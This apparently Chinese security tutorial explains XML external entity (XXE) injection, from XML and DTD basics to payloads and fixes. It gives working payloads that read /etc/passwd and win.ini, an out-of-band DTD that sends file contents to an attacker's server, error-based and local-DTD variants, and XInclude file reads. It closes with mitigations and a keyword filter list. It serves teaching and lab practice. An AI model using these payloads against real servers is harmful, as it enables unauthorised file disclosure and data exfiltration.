0x00 基础知识
什么是XML?
XML 指可扩展标记语言,被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。
XML格式
- XML 文档第一行以 XML 声明开始,用来表述文档的一些信息(版本,编码信息)
1
| <?xml version="1.0" encoding="UTF-8"?>
|
- DTD 文档类型定义(DTD)可定义合法的XML文档构建模块,可被成行地声明于 XML 文档中,也可作为一个外部引用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Dont forget me this weekend</body> </note>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> <foo>&xxe;</foo>
|
实体
内部实体
外部实体
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///path/file" >]> <creds> <user>&xxe;</user> </creds>
|
参数实体
- 使用
% 实体名 ;
在 DTD 中定义,并且只能在 DTD 中使用 %实体名;
引用
- 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % b "<!ENTITY b1 "awsl">"> %b; ]>
|
各语言XML解析支持的协议
注意:
- 其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35
- libxml 是 PHP 的 xml 支持
0x01 入门
什么是XML实体注入?
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
XML实体注入原理
用户输入的数据被当做XML实体代码进行执行。
0x02 漏洞利用
实验靶场
https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection
回显读取文件
payload:
1 2 3 4 5 6 7 8 9 10 11 12
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId> &xxe; </productId> <storeId> 1 </storeId> </stockCheck>
|
无回显读取文件
payload:
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "my.dtd-url"> <!-- mydtd放在自己服务器的外部实体 --> %xxe; ]>
|
my.dtd内容:
1 2 3 4
| <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'my.dtd-url?x=%file;'>"> %eval; %exfil;
|
注:文件中包含的换行符可以使用 FTP 协议而不是 HTTP协议。
报错回显读取文件
- 通过触发 XML 解析错误,其中错误消息包含希望检索的敏感数据。
payload:
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "my.dtd-url"> %xxe; ]>
|
my.dtd内容:
1 2 3 4
| <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///do-not-exist/%file;'>"> <-- do-not-exist文件不存在 --> %eval; %error;
|
利用本地DTD读取文件
查找本地DTD:
1 2 3 4
| <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///local.dtd"> %local_dtd; ]>
|
payload:重写覆盖掉local-dtd中的实体。
1 2 3 4 5 6 7 8 9 10
| <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///local.dtd"> <!ENTITY % local.dtd-entity ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///do-not-exist/%file;'>"> %eval; %error; '> %local_dtd; ]>
|
利用 XInclude 检索文件
payload:
1 2 3
| <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo>
|
0x03 漏洞修复
禁用外部实体解析
禁用对XInclude的支持
过滤关键词
1
| <!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC
|